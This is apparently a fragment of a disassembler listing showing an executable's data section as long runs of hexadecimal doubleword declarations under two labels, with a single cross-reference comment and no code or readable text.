		dd 846C9EF9h, 0EDF9CCh,	0EAEE831Ch, 0FE5C15C4h,	107C9C91h
		dd 144DF11Eh, 8BCCEB40h, 439CD680h, 7BCAAE6Ah, 5918125Fh
		dd 602D1498h, 31C8F941h, 0FE450C53h, 76606889h,	0E5F6AFF8h
		dd 3B396F13h, 4B5CCA7h,	0E4EADD45h, 64635484h, 5AA21h
		dd 834B6389h, 4E6CBC0Eh, 0F95AAE07h, 5F961395h,	671D2098h
		dd 9196005h, 90212CAAh,	2024910Eh, 0F3CE5BC6h, 0B21D1270h
		dd 780C6027h, 0B1178847h, 0AA5B1805h, 0F0B9A3B0h, 0D8350571h
		dd 0EAE6F952h, 55546440h, 94B4A05Bh, 8445A794h,	886096E4h
		dd 0AC949125h, 0B6567444h, 0D87FE060h, 31360B56h, 400B16D9h
		dd 117934D9h, 2E3EBF18h, 24EBA7Fh, 90CA2332h, 0D3E8E876h
		dd 7E502719h, 6E9DDC20h, 64B73EA0h, 8D4207FCh, 0E9334997h
		dd 0EFCAC700h, 5813960Ch, 0CC0893B3h, 88BABE35h, 6024C7A7h
		dd 805908B6h, 49F4CB8Eh, 0D42FCDBEh, 11481739h,	8BF98797h
		dd 507C3602h, 0C1F05F50h, 2C5C80CCh, 8C8AF8DCh,	65C79C00h
		dd 0AC461AD2h, 6E90256Ah, 0B4468862h, 2C4E4024h, 0F87D3787h
		dd 49920540h, 5D5239E0h, 0E47CA904h, 90CC8C91h,	5F19283Fh
		dd 0DBC01090h, 0D275177Ah, 0CED42106h, 2F3608FBh, 18BDA36Ah
		dd 14BD0C07h, 1FE56740h, 61FB029Eh, 4B557A68h, 125BEC61h
		dd 40405C11h, 19771D2Ch, 754D3903h, 0ED9C4CAh, 0C5675E26h
		dd 0F4814AC7h, 0ACB8D55Ch, 8C10BC2Ch, 975E8209h, 0AC04C83Fh
		dd 0FC50000Eh, 33BC4DC2h, 7A00B9EBh, 0F0745E84h, 0B2A19DDh
		dd 0A4C6D893h, 5112ACDCh, 0F780F8ADh, 0C97B873Bh, 0FBBECF1Fh
		dd 65589F00h, 2482861Fh, 74E049D1h, 8B179846h, 62CC30A4h
		dd 0F2400AB0h, 4E4D167Bh, 0D168F906h, 27D4AC34h, 0A44508A4h
		dd 14605BE4h, 0BEF260A1h, 554EEB01h, 8244FE59h,	9E4CC82Eh
		dd 58CE224Eh, 0A6C059C8h, 48EA560Dh, 0BA3FE867h, 97B54C40h
		dd 80CA91E0h, 40116CEDh, 0D84601E0h, 2A4CA88Bh,	10802216h
		dd 35849B3Ah, 0DE98CF5Ch, 25B700A3h, 90531846h,	144EE4A0h
		dd 47C1780h, 0F6F032C2h, 7C4AAA16h, 0D468B9h, 1B4557E0h
		dd 0D4C82FE2h, 0A05B942Dh, 0F806A4Ch, 906CB6D3h, 21122B1h
		dd 0EF7A875Ah, 0E05944C9h, 13D82208h, 0E0D0A4BBh, 92C31100h
		dd 0C4816BFFh, 2C6A4CFEh, 0CF9C1C0h, 0AA0066D5h, 0C01D6017h
		dd 78EEF14h, 67589A10h,	8AB091BFh, 87EA00C2h, 77E727CCh
		dd 0D32578D1h, 0D8DF7160h, 230BDE7Bh, 0EFA2C0AAh, 929942D4h
		dd 943681E0h, 0CF07448h, 0B809ED05h, 1BD0409Eh,	0E2E27527h
		dd 0AE0C3028h, 0CE2284FCh, 0CA1513FBh, 0C4D8D00Ah, 0B0BA2339h
		dd 0B3810405h, 9CF2208Ah, 64300FF2h, 0ECEC58DBh, 0DD22B809h
		dd 0DBDD899h, 14882C0Ah, 0E9EBC0CEh, 0B5796AAh,	0E8C6DB4Ah
		dd 810994D8h, 76492916h, 6074529Ch, 0BE984A61h,	3CE4003Ah
		dd 0BA3414E3h, 0C84497h, 0D601FA39h, 6E053F9Ah,	78808A00h
		dd 45911DFDh, 2254176Bh, 9ACF04Ah, 0DA4DCD3Dh, 95239C2Fh
		dd 0EFAF000h, 4B1684F8h, 0D6A401D5h, 8B9480E6h,	0D622B0B8h
		dd 0EA606074h, 899DFD82h, 5C4876A8h, 2C17C346h,	0A7040859h
		dd 39EE8301h, 352AFE6Ah, 0C1FC00C8h, 0EE849F2Fh, 3F94149Ch
		dd 43738090h, 0EEF3FAD4h, 0B9D00046h, 569CEFC1h, 442F9B1Fh
		dd 2C04822h, 35C712E4h,	0CAA8930Ch, 82C3E190h, 517F4030h
		dd 4E52B06Ah, 9EF044E5h, 98640122h, 3D09C47Eh, 90CC09ECh
		dd 546C27FEh, 62B517F0h, 3BC5F8E2h, 1A8A5942h, 1858579Dh
		dd 44E1C811h, 44616081h, 54C0D12Eh, 0C0B8E08Eh,	6698169h
		dd 4806E53h, 5288B7F9h,	0E85F8025h, 0DB01C6B8h,	0AC700A9Fh
		dd 4C3719B6h, 8BFD251Eh, 34F80245h, 65014B4h, 11496528h
		dd 0CA18B652h, 70451CECh, 112DC0BCh, 38FB1C02h,	89088CD6h
		dd 0A4A2049Ah, 2ECE34Fh, 4A3365Ch, 289476D9h, 63262024h
		dd 88A110D6h, 0FC01903Ch, 0A0CCE737h, 58C8386Eh, 98F54EC0h
		dd 1EE4027Fh, 878E436h,	8186E496h, 1771CEF6h, 0ED40EE5Ah
		dd 0DCE2C75Ch, 96A3E142h, 95061120h, 0BCE60944h, 24E42FA5h
		dd 0E2006A9Dh, 0D79FB9F1h, 0F2F6F0C4h, 50A3A402h, 60E8C08Fh
		dd 1564466Bh, 9091B0CCh, 3079E125h, 4718CF79h, 2EB7343Ah
		dd 0CE0098E7h, 0C96C2DAAh, 3E4D2A1Ah, 82060090h, 490881BFh
		dd 3F85B56h, 0AC187100h, 319F64F9h, 18A47136h, 21DB2ABAh
		dd 0C9FCF3B9h, 31CF1907h, 0A1C173E1h, 0E9D35445h, 6C62E94Ah
		dd 0EDB43A00h, 0F53486C8h, 0B9AEA300h, 191FA152h, 0DB5C243Eh
		dd 5BCB0010h, 0B74A55F2h, 0E1C41A0Bh, 0CD04C0D4h, 0E8449F46h
		dd 465E2094h, 8F710090h, 47313C86h, 6977DBBh, 0C06AA5F0h
		dd 0E4177877h, 0C4E9D1FEh, 2E84A84Ah, 7C00085Ah, 1A7BE32Ch
		dd 837705DEh, 0E5FC9E9Ch, 0C7D2D4DCh, 11C03670h, 439D9584h
		dd 529413C9h, 0B3484793h, 0A45485CCh, 0D01CB64h, 683C266h
		dd 9455BA21h, 28F9140Ah, 8FFC6BD0h, 0D2E40A86h,	0DD272258h
		dd 3D475900h, 0BB440192h, 0B040BFA1h, 0B140D7A7h, 9770ACEh
		dd 0D140C3D2h, 0A40C2E98h, 75539A6h, 9C81B9FBh,	65FEF0B6h
		dd 91CEB36Bh, 50ACD3AAh, 31A26E79h, 94AC3C95h, 599F5130h
		dd 0AAF0BA6Ch, 2FC469D4h, 593431A1h, 7C00B8Ah, 0A6FBAC82h
		dd 0B618EA76h, 43D103AAh, 493803E3h, 0CC9DA581h, 488EEABAh
		dd 0C4B2BC95h, 33C71836h, 38C078D5h, 20C4ACE8h,	4EBB529Dh
		dd 39987E58h, 25B52205h, 54089870h, 4FAF44A1h, 0C657897Ah
		dd 11211EF0h, 2F1940B3h, 74B8EB6Ch, 10E41F03h, 0E4F6C0D6h
		dd 0F0047085h, 74BCA918h, 34814830h, 5A7CA1CCh,	29204D53h
		dd 0BB06BCB2h, 4998BFAEh, 0A85C9CFBh, 0F3B89007h, 0B469C503h
		dd 916AA00h, 0C8B8D189h, 733B81AEh, 0EF21B7E0h,	627A0030h
		dd 26BB0819h, 2AC1102h,	8021AA1h, 79E10316h, 77183818h
		dd 0C4C94A08h, 1F722618h, 0F110FA58h, 129A8074h, 41C7F681h
		dd 888B508h, 220811CFh,	1BC708D5h, 8AD2F08h, 24080A12h
		dd 0C49808B6h, 0CFE2108h, 16606C55h, 40932440h,	954038D8h
		dd 171840FEh, 7AA1B064h, 6BD8904h, 2008A38Bh, 96200F28h
		dd 0B86520DAh, 32A1A720h, 2061141Eh, 2D72A02h, 7002CAA3h
		dd 0CA4039Dh, 0D4860819h, 0A202AB29h, 680A4A2h,	3E5F402h
		dd 920E3FDh, 0F8432201h, 10D703FFh, 108FB4F9h, 8E15CD0Bh
		dd 0AC448894h, 0B10D665Ah, 0EC8831F0h, 4280BF2Dh, 0E27C802Eh
		dd 80E16380h, 1881233Fh, 9127E988h, 20B9203Fh, 6C20E96Ah
		dd 0C7712084h, 63FB6820h, 6A833144h, 8557010h, 51EA2C1Ah
		dd 0E668E42Eh, 8FD9508h
dword_4E3354	dd 0B00898E8h, 74500897h, 0E9C9AD19h, 918B04FAh, 1D38518h
		dd 0D00115AEh, 0A25E02A7h, 209DCA4h, 0A6029E1Dh, 0EFA02B2h
		dd 65692D06h, 4C9BC11Dh, 0FDA1F1A0h, 409ABA40h,	39C40703h
		dd 3E04EEDCh, 0C4D01C21h, 10993B10h, 0FC1024A0h, 21B931EBh
		dd 6A019BA1h, 7E6D01A9h, 0DDFAE088h, 0D9A51B0Ch, 0CFA9801Ch
		dd 0D853C181h, 6DE910BBh, 0FC8910EFh, 10B18110h, 4D188A5Bh
		dd 1EC65869h, 0C988C081h, 44080A7Dh, 7CF40C82h,	0DE406F28h
		dd 9F1A40B4h, 0C20A092h, 932020B5h, 54A15920h, 41DDC499h
		dd 905B61E1h, 0B610C2E1h, 0F7B31904h, 0FB01C0B1h, 0A32A02CDh
		dd 10801BF4h, 109CD968h, 511085C7h, 0B0152AC6h,	0F821FC65h
		dd 0A72D8449h, 1218D030h, 9304446Eh, 0A1750CF3h, 0B6F1CA96h
		dd 7F288B0h, 0B429BC18h, 0F19580FBh, 80C88780h,	6880D490h
		dd 712480F9h, 0AE2970C4h, 41FEB04h, 0C00AF520h,	105682A0h
		dd 8852A92Ch, 27235504h, 60A078CDh, 1F220CBEh, 7C1071D5h
		dd 0AD803E00h, 6098E1B3h, 0EB271278h, 0B614907Fh, 470168FBh
		dd 20994471h, 0E8CFEE26h, 16191F55h, 35E6B436h,	0EB9880B8h
		dd 10036894h, 0ED2F372Bh, 3190D04Ah, 391508EAh,	30B3DC9h
		dd 815460F6h, 1D47B097h, 6751C184h, 0CCE36CE8h,	1C1B6B40h
		dd 434F55FCh, 9A92FB82h, 0F1E44AF9h, 3C21009Bh,	9F830FB5h
		dd 0CABD17F3h, 807327h,	0F61F4560h, 0BD0ABF23h,	0C3309BAh
		dd 0E3825380h, 1C6F5897h, 37FABB4h, 7E57E4BAh, 39545806h
		dd 900BADh, 3F1BCFC9h, 8F882FC0h, 2CE40726h, 55CCA131h
		dd 0A0F477D0h, 63B6AA10h, 575EC881h, 55E440CCh,	1FAE41B5h
		dd 16661D6Bh, 0C07841F9h, 0FB39E624h, 4EFE10E6h, 0BE3270C5h
		dd 31BB50C8h, 5EC04B5Bh, 0F4C0425Dh, 0F3A8EF80h, 4437E4DDh
		dd 3A91288Fh, 0F4C008B0h, 75E90632h, 183507E0h,	90740500h
		dd 0A5D9F2ECh, 0B1F30158h, 0FC098A76h, 63AAD0D4h, 0A5D8163Dh
		dd 0F6F8057Bh, 70043832h, 7F937C0h, 0A621E328h,	0D476A110h
		dd 422ABF00h, 0BC19A5C1h, 903D3F8h, 0F3B76808h,	1434C1F9h
		dd 9A2E2880h, 0EE4DB37Ch, 51AE491Ch, 553F09BDh,	0A2B8F74h
		dd 821408F6h, 84040FF0h, 28F489C8h, 0E4785414h,	18956067h
		dd 42AAB746h, 83B06464h, 0E4053880h, 0CC6C54A7h, 0EFAA1931h
		dd 24F5200Ch, 1D0B514Ch, 0C05755D4h, 60A9E4B8h,	2A833075h
		dd 880437CCh, 0A6DBCA87h, 185200E4h, 3125FFF1h,	2380D136h
		dd 763C0226h, 0B8AA3442h, 0F54878F8h, 63190418h, 108CCE6Ch
		dd 0C8BB144Fh, 0E20F90E0h, 97061AB5h, 8E701022h, 64881E02h
		dd 60AC2472h, 1849EB3Bh, 79527145h, 0F30C8782h,	0F1758A29h
		dd 31AAF08Fh, 8510FD81h, 687E01A7h, 33E35300h, 0BB41B806h
		dd 68406Eh, 8817A8BDh, 0AE12AA4Bh, 0CA15090h, 845450EAh
		dd 0F75251C5h, 0EC4600C4h, 0A0797261h, 7066059Fh, 44C2A2h
		dd 5704A8EEh, 0BD0240A1h, 6D7A392h, 0F06C44B8h,	0FF5501BBh
		dd 0F5AA894Fh, 6098806Fh, 23CB6854h, 0FD392FE1h, 0F03210E0h
		dd 534F9600h, 1E3FA29Bh, 0D4E4007Ah, 8B88FF38h,	0A1B8B204h
		dd 5745C900h, 69467BC0h, 27CC00E9h, 0FFF55288h,	0DF3F2D23h
		dd 0AAAF0645h, 28712B39h, 20DCDC19h, 0F51C79CFh, 50C769B9h
		dd 7B80E883h, 6841AAD6h, 4E603055h, 62BB1230h, 314010C0h
		dd 807BDF8h, 1863C34Bh,	96001873h, 621D23FEh, 0E81CD2EFh
		dd 0A847F9E6h, 0D54EB722h, 4A9770A0h, 5A12D2E9h, 780071A3h
		dd 8E8FC5F9h, 0DCDF20E4h, 0F7C0500Ch, 98CA6832h, 9E401B3Ch
		dd 0BDD8106Fh, 0FA063B2Bh, 0CC22A292h, 0AD520220h, 55C41BFFh
		dd 7B09B865h, 45A419E2h, 0E15F7C08h, 0A1403CD1h, 643AC86Ch
		dd 35A8816h, 123FBB04h,	4A8BE000h, 0FF5494D2h, 128C308h
		dd 590582E4h, 2EC21557h, 0E400F084h, 3391E959h,	0C34B4BBBh
		dd 1FA05A38h, 0B5781421h, 0B2E260E5h, 7B00B4A4h, 707E1C37h
		dd 98841DF4h, 60AA1408h, 0B300C857h, 6BCD8CA5h,	0C6642EBBh
		dd 0E3205D51h, 0C892A041h, 0C8B4114Bh, 30E75032h, 9900901Bh
		dd 0BB53024Ch, 0B8662818h, 0A0AA507Ah, 6F63F840h, 0B60FE1Eh
		dd 0E65AE0AAh, 5A5100B0h, 0B2C0916Ah, 32E420F4h, 96CC0A0h
		dd 20B296FEh, 2BAC2E20h, 86305F4Ch, 209F78E4h, 26EC7148h
		dd 640AF42Ch, 0D245BCFFh, 0BA97D001h, 8101BD99h, 6053E8C9h
		dd 0C5838D02h, 60821A90h, 0A0BF3200h, 502F1C74h, 4858E0CCh
		dd 7E8300F5h, 880C5B6Ah, 0C00B69BBh, 2668B28Fh,	84C0789h
		dd 580A6332h, 0BC261CADh, 7BCAE680h, 59EDAA3Bh,	0B20020F9h
		dd 2E657DA6h, 0FC989311h, 18D95720h, 404F8CBFh,	3060DAAAh
		dd 5BAC2B30h, 231F147Dh, 0BAC1D014h, 209ACF66h,	19C065A4h
		dd 0EF1F6D60h, 129BEA41h, 0E03A3979h, 0EC98F1F0h, 53A25716h
		dd 1EBBE004h, 0BAD1A800h, 0C1C408CCh, 4D44F9F8h, 7548B8ADh
		dd 54B8474Ch, 6F74CA7Ch, 9520ACB0h, 107B0172h, 44BB4A06h
		dd 0AE499E25h, 6D713245h, 34BBB42Ch, 81280330h,	0BC9EA86Ch
		dd 0DDAC0118h, 0E32E63FFh, 0A04017F0h, 12807D80h, 71FCCF4h
		dd 18A3D6E4h, 23002822h, 0EC0BD333h, 0B0DAF2B5h, 1FA439E0h
		dd 0E49717Bh, 0CBCA0A1Bh, 95AA8BC1h, 0B658806Ah, 0E831DDBEh
		dd 0ACDF139Dh, 7C744F5Dh, 5EEC3132h, 0D8C9007Dh, 0D391B58h
		dd 0C580102Ah, 6E155F56h, 2D0AA04h, 7C965957h, 731864E7h
		dd 0B07CB052h, 3470FFD4h, 0BC3900A8h, 79B932A2h, 4C09A4D3h
		dd 273C22BBh, 2D68DE00h, 0AA8D0480h, 449A936Fh,	814AB23Bh
		dd 8260A878h, 2B21BB51h, 1F833882h, 3C80E67Ch, 7DDEFE84h
		dd 715E3Eh, 0F40B80DFh,	17A65898h, 0BD73DE8h, 50A0E057h
		dd 7C0B0AB5h, 7A92B200h, 6F409F21h, 1788C568h, 298C8082h
		dd 83812FECh, 0F5BD9464h, 0B662B500h, 7B28B801h, 9782202Bh
		dd 9E1A3084h, 745B32D7h, 0B199270h, 30AF4CDCh, 790F02C8h
		dd 892983E5h, 34695078h, 50839DC0h, 482E8620h, 2DB31Dh
		dd 8D8EE44h, 517122h, 0F36D3797h, 5BBE7C16h, 68E56303h
		dd 90DD329Eh, 31844E2h,	6A722E23h, 0E5E0B3D7h, 7A3D6BC3h
		dd 1F017DBFh, 0AACC4D04h, 808150E4h, 4F39D9FBh,	0CC2875h
		dd 0DAD36463h, 2114A70h, 3962F9ABh, 0D0054782h,	4BAAB490h
		dd 0B740C01Ah, 6DB5814Ah, 0AE015F0Fh, 0A766207Ch, 0CD1DC40h
		dd 0E83BE4ABh, 39124FC8h, 0EC4046FBh, 579DD3DAh, 51610024h
		dd 86418B94h, 2371427Bh, 9B1B0301h, 6799AABAh, 58466882h
		dd 0EC54B690h, 0FC037996h, 0F6A5AAh, 0AD695E20h, 88BB616Fh
		dd 0CAA0165Ch, 2A13C473h, 4B1DA000h, 17B467ECh,	0ED60BCh
		dd 0F2E377CCh, 2E00A8DBh, 8B53B99h, 0A8637CAAh,	751CE90h
		dd 263052AFh, 0A0BB417Fh, 8D609DCAh, 0F807DD13h, 0C4103DD4h
		dd 589D932h, 0E3628B99h, 0E73C813Ah, 516500C0h,	90178A8h
		dd 0AF2CCD31h, 0B2287896h, 324DFBDEh, 5FA80030h, 1C200C3Bh
		dd 0F2B750A9h, 5217072Eh, 0B0351ADFh, 1E252340h, 0CDAC4600h
		dd 0DD4EE36Ah, 516C1605h, 37340EABh, 3E1B1790h,	28320C12h
		dd 383C8226h, 0D9ECA22Fh, 0C3830110h, 341040DDh, 4894A7BBh
		dd 1A195688h, 0B064105Ah, 9E67A20h, 17CC36A3h, 31636483h
		dd 1E6D4006h, 0B0396CBBh, 0F455508Eh, 243B12ECh, 75080192h
		dd 0F0212FB7h, 497FEB13h, 0EA00E87Ch, 1CB6A876h, 0DFC4E0BBh
		dd 56BF0940h, 0A19D7400h, 321D044Ch, 0B0C751BEh, 0ACFA333h
		dd 4E0408E6h, 0A8D70B39h
		dd 0C0C087B5h, 98BECB37h, 246300E0h, 0D6ED8C05h, 6749FD39h
		dd 80EA3B50h, 231D6CF0h, 1CC733Bh, 0D5B29A13h, 80E2C7BAh
		dd 3CFA8888h, 401038Dh,	7239D484h, 3128C9FFh, 0C3189D08h
		dd 69B0AA84h, 0F7BC2893h, 0A465F930h, 1B9EE15h,	0E27C73D3h
		dd 0D85C5AA5h, 0E415832Fh, 21D44753h, 0ACCA143Ch, 7BFC6200h
		dd 0AF01D1E1h, 0A5586400h, 1932A435h, 0C0475EE4h, 0A0594654h
		dd 0D51B5D04h, 80A437CCh, 433130BBh, 7C9860C0h,	9EA8C04Ch
		dd 0EB14C02Eh, 90D80708h, 0B5A52154h, 5001948Bh, 99E461D7h
		dd 567C702Fh, 2CF33910h, 88021D27h, 3CA2FFCCh, 8A00E8C1h
		dd 0E051E231h, 82C8C994h, 7861C092h, 885110A1h,	0BA9512E5h
		dd 0EF88C73Eh, 60846B6Ah, 6577B36Ah, 7BAAB412h,	0B076CCF0h
		dd 0BF311CBCh, 5D8D00F1h, 23E36E52h, 0FC39B80Ch, 76FF406Ch
		dd 751C0FA0h, 4A84B42Ch, 621080AAh, 66072ECh, 0A2E16508h
		dd 39DE0C2Ch, 52381657h, 8BBACD12h, 77BD34E0h, 6111F062h
		dd 82B610DDh, 6AA2E4DBh, 0E41A21C7h, 2DD0E1C6h,	460D757h
		dd 0A4E90740h, 0C4C86850h, 8827CA03h, 430BA06Ch, 0B20400A0h
		dd 18FFF7D8h, 6B59D6BBh, 7AAA3984h, 4C042890h, 48BE3953h
		dd 48AC5C95h, 0E911A80Eh, 7C536A6Bh, 1F0C0C20h,	98AAB8E4h
		dd 0B7391850h, 56294063h, 40689859h, 0A0E6AAE0h, 51C611C2h
		dd 8D079F6h, 54009A70h,	0EB4C9159h, 4F520061h, 0FE921144h
		dd 0F20509B5h, 8A58A7DCh, 1900C7C7h, 1E4FC37Ch,	4A5A517Fh
		dd 84E817B3h, 881222D9h, 0E9FA0174h, 56ACEC00h,	386114A7h
		dd 3CE40085h, 6A5F7C68h, 45E84BB9h, 59501F1Bh, 0EE632608h
		dd 2E279068h, 810BA034h, 80248205h, 3BD01C9h, 0A2D8C0ADh
		dd 394A5D0Ah, 5083C468h, 13C5387Fh, 0C2EA3CD8h,	540060B8h
		dd 251220C0h, 8C0956DCh, 58B2802Bh, 2498D8C6h, 0C7B7660Fh
		dd 1B4E80EFh, 5F2CA1Fh,	75AA9044h, 0FFE00065h, 78679EC1h
		dd 7A0BCCBAh, 4401D4E8h, 272CB290h, 0CCA00854h,	84895C62h
		dd 33524019h, 62D60578h, 58D8469Ch, 4C74C2E2h, 9F8B4869h
		dd 71055882h, 3A3C0C79h, 8D7A841h, 22DACA15h, 0C5322024h
		dd 0C0CC25D1h, 40AC3CF0h, 588CAAh, 1ECFA120h, 84FFAB18h
		dd 3F83039h, 0C151BA61h, 0F4540A21h, 6C164480h,	0ECBD261Ch
		dd 801834DCh, 820FAC20h, 0AAAFE650h, 184E52h, 0E54B6D09h
		dd 1C70EE32h, 8364239Fh, 8D4D5B3Fh, 0DFE6A800h,	0B5728C97h
		dd 90F27837h, 0CEB00F3Ch, 4E627B65h, 0B090FC19h, 8D77E420h
		dd 33128CB2h, 0D4A094AAh, 8FBB1253h, 1AB44760h,	0D2B58449h
		dd 804C58F8h, 1044D527h, 39FB41Ch, 0A2B74002h, 0C6821A05h
		dd 0A30D8BE0h, 0DD6E2700h, 5547FC4Eh, 4C187D21h, 0BB8FA846h
		dd 8160778Ch, 7CFEAA08h, 2D4D0AD8h, 331A028Ch, 2C59BA32h
		dd 90EDB08h, 1CC64DE2h,	845974B0h, 0B10384DCh, 802A0E2h
		dd 0F3A87E1Bh, 6B60800Bh, 787A0B9Ch, 59B0B482h,	17380179h
		dd 40081074h, 7C9C515Dh, 3225DC24h, 2008C47Ch, 1D0FAAB0h
		dd 4CE4719Fh, 1E2D024h,	0C6BBB43Dh, 0E0D0A8DEh,	0E318B725h
		dd 4B308474h, 0FF960A11h, 1035B5h, 48B77BB8h, 9427433Bh
		dd 35941852h, 1F2380EAh, 20647CA1h, 0B0B8E81Ch,	5CEC7124h
		dd 221093Fh, 0EF4E84Fh,	1656809Ah, 775FF30Eh, 0CDEE40A8h
		dd 0B09D9539h, 63040108h, 114DB0FDh, 4E8C4049h,	0AA00910Fh
		dd 328BCE84h, 88C7C8h, 2D2348ABh, 855C51EDh, 22B8CFh, 0D54AEAE2h
		dd 1B252EAAh, 74DD4000h, 0A825121Ch, 624C051Eh,	0B0909485h
		dd 3BF2F050h, 0A5B0BA97h, 1F6559D0h, 0B44D3C5Eh, 0C01410D6h
		dd 22F9B4D7h, 78C2AA6Ch, 0F8814888h, 400D8049h,	2CD08EBAh
		dd 642078FCh, 0E532003Ah, 44C5617Dh, 6F094DA7h,	8A393F38h
		dd 6E80CCFFh, 53174C90h, 4D34F8Ch, 81D84A38h, 0E9627C40h
		dd 14C07828h, 0E98F46Fh, 6102A232h, 98DA3949h, 30717880h
		dd 0B0DD2C2h, 41E732Ch,	47FBC602h, 8778E006h, 0F0FF22E4h
		dd 0A4B31322h, 3306E63Ch, 181D4F1h, 514F20F6h, 68904434h
		dd 900F593Ah, 9B1C2040h, 0CDB193Bh, 109270E4h, 0B0A4A4A7h
		dd 8E6F16CCh, 4EFCC8D7h, 3039E284h, 20606504h, 28F0B3FCh
		dd 1FA4AF54h, 0D8A1887Ch, 0EAC9F010h, 0A2A73CB1h, 264798Ch
		dd 0E87E6289h, 107E1A1Fh, 5701C1E9h, 3B242EF4h,	58D9E0A9h
		dd 0E05571F1h, 84985468h, 0BE384A02h, 0C45FAAD2h, 1D4A1CCh
		dd 62818441h, 6D5E488Ch, 60883970h, 494B7892h, 582F889Bh
		dd 0F55EAC98h, 1F834980h, 808E66FCh, 0FBE57C29h, 5D1E5404h
		dd 0BD14A0D1h, 6A8B1608h, 0AC515C00h, 2898757h,	3978F642h
		dd 1CE8807Bh, 61C4A8DDh, 0F4872337h, 7BCE0630h,	0AACF04BEh
		dd 0E2D81495h, 3C49058Ch, 248D6766h, 842C17E9h,	88C17289h
		dd 34188051h, 32BCF758h, 0B8D53FC6h, 2723038Eh,	60992EC6h
		dd 5B530D20h, 8CA01355h, 54BC5814h, 0F4787D40h,	5B633D1Dh
		dd 1048E04Dh, 0FBE0E409h, 5F88F0DCh, 2CA12D20h,	0E29E86AAh
		dd 4CB4A0F2h, 618BA362h, 42E249E4h, 217C83CCh, 0AA40094Dh
		dd 0A400B272h, 3186BF7Bh, 0D459E807h, 0FC2723BCh, 50A4E441h
		dd 84147C24h, 0CA78C095h, 565D0E76h, 598EFFBEh,	45EA6280h
		dd 6A2029B6h, 0AABCA985h, 166896C3h, 44C87E63h,	1F61DF14h
		dd 518409h, 0D1E4B934h,	4920D2F1h, 0A0525320h, 0C4C02CA2h
		dd 0E95B8BAh, 56B905A0h, 0C84D2CF3h, 33FE8400h,	7C2A617Fh
		dd 0D3BFB70Bh, 9948824Ch, 0C362011Eh, 27B43420h, 1C27C25Fh
		dd 6CB44B85h
dword_4E414C	dd 0BB7081ECh, 851727C0h, 3882BA90h, 82CA040Fh,	0DA0958B4h
					; DATA XREF: ___:off_43A188o
		dd 824D1230h, 2014B3FBh, 17DC9E58h, 53642284h, 64ECE1h
		dd 48B5D5C9h, 4501D40Eh, 61AD038Ah, 9782F8D8h, 748B60B3h
		dd 0C2F09210h, 40F0CCFCh, 4018134h, 2BE44AEh, 472A37E4h
		dd 217E12BCh, 70325588h, 303E83D3h, 0D522031Ch,	0D0401177h
		dd 0B4C420CAh, 4D411C0h, 9B5299F8h, 0AB2CE8ECh,	8D588394h
		dd 60D7CCFEh, 51CEEE0Ch, 9C4EA606h, 17107B4Ah, 0CC52E3C0h
		dd 574F7000h, 812ED421h, 0F1CCF864h, 0FC58292Ah, 7D00ADFBh
		dd 0ED4E3D40h, 1E36F62h, 56BBE12Fh, 641B07A3h, 0C72CAA50h
		dd 0A7902CFDh, 6182608Bh, 68DCCBBBh, 74008E1Ch,	0E403713Ah
		dd 270BC42h, 0FB66323Ch, 4302DCD9h, 0C02F9830h,	0C26703F4h
		dd 0E672F3D8h, 5BBA4960h, 0DC326D5Eh, 0C94607BEh, 0A101ACA3h
		dd 9FF97000h, 0B63EE352h, 3ECD60EDh, 62CE4745h,	7BD97C0Eh
		dd 87934121h, 0C0640BAAh, 0C4A7255Eh, 0B200DC64h, 4044ABC9h
		dd 3203B5h, 0FA212C2h, 0B733E318h, 3B744174h, 58B97B00h
		dd 39D6657Eh, 0B2F9404Fh, 8474C548h, 0A3049466h, 8A209235h
		dd 0F75294A0h, 489056F9h, 5BC7044h, 828CD84Bh, 261CE79Fh
		dd 588004E1h, 0A8C088Bh, 4AE4185Bh, 132420E9h, 3234A690h
		dd 90801054h, 3E382F6Fh, 0EA18109Ch, 0B60F89FCh, 740281F4h
		dd 0D43C5248h, 0BC4AB25h, 217C008Ch, 12F2CB47h,	0BCA0ED32h
		dd 2E2301DDh, 0B67E62CCh, 38AC5F0h, 0BB0BCFDBh,	9941B8D7h
		dd 0DEAEE4D0h, 19100090h, 0AA09FB11h, 3C590F50h, 0BCEC5292h
		dd 7D644B4Ah, 0BDE3B821h, 0A2742027h, 0EC20365Fh, 10C7DB04h
		dd 4B0BBE35h, 0CAA8C0Bh, 4C7B10CDh, 0F2C8ECE3h,	9CB0A065h
		dd 20826BFDh, 80709032h, 2209D89Eh, 0BDE8181Eh,	0DC5E4CA7h
		dd 0C8515017h, 224E388h, 0C18A605Fh, 0BB629C1Ah, 2E605CCAh
		dd 264A444h, 0F8514D4Fh, 22D9C51h, 363EA8F4h, 0EF89F8B6h
		dd 0A2B86950h, 29480915h, 2307E47Ah, 7C1CF390h,	0A8060AE0h
		dd 0F2921D93h, 1C6EE2h,	24E74BB5h, 2E500DE4h, 3A01D2ACh
		dd 5394CB7Ah, 4882450Ch, 99126306h, 0B6007CC6h,	57D9BF8Fh
		dd 79C76A52h, 0FEFB0054h, 2A0676B7h, 8A12D72Ch,	4CC760AAh
		dd 0A08EE3B3h, 65A7BACBh, 0F246A02Dh, 4C5D3A9Ch, 0D8E40870h
		dd 29BB04E2h, 9464A0AFh, 8E419DF8h, 25D27087h, 5CE08B65h
		dd 0FD13A911h, 4EBB40E3h, 6F000968h, 22F6ABA6h,	53C8390Eh
		dd 0BBB2E0E2h, 950ABCBAh, 7F534814h, 0B0AA39B4h, 0E949B812h
		dd 0E6EBB865h, 5D603039h, 0BAC1E130h, 48C22CE0h, 9198BBFh
		dd 178FC4C8h, 0E23F20h,	31E6CB7Eh, 0E41C0C83h, 0C8A98231h
		dd 58E432EFh, 0AC593E5Ch, 2C843325h, 7C6C807Bh,	451678E1h
		dd 38139EDDh, 1608EC10h, 3070655Ah, 471B806h, 0A321A7A2h
		dd 805CB93Ah, 0CF17AA3Bh, 0B9B22CE6h, 2C4B10D4h, 9308ECD8h
		dd 311B0272h, 2862BC32h, 38E27854h, 0C8384107h,	0BA6903D2h
		dd 48DE7F8Bh, 37656C07h, 0F0208432h, 50CF9093h,	16C8D422h
		dd 1B53D21h, 0E3D97E6Ch, 8E97DF0Ah, 9CADA1C1h, 0B911873Eh
		dd 5DE04DB0h, 0B81B0D73h, 35D0FB10h, 6A40108Dh,	31A3E15h
		dd 0F539E8BAh, 84079B80h, 0BE2E08ADh, 82E42664h, 0E62C6308h
		dd 173CB471h, 2861FBBEh, 0BB00C1B2h, 6CB2AE1Dh,	0E3DAA2Fh
		dd 0BC12D2E0h, 7087B071h, 9ECF0ACh, 6C2380D8h, 68C1D5E7h
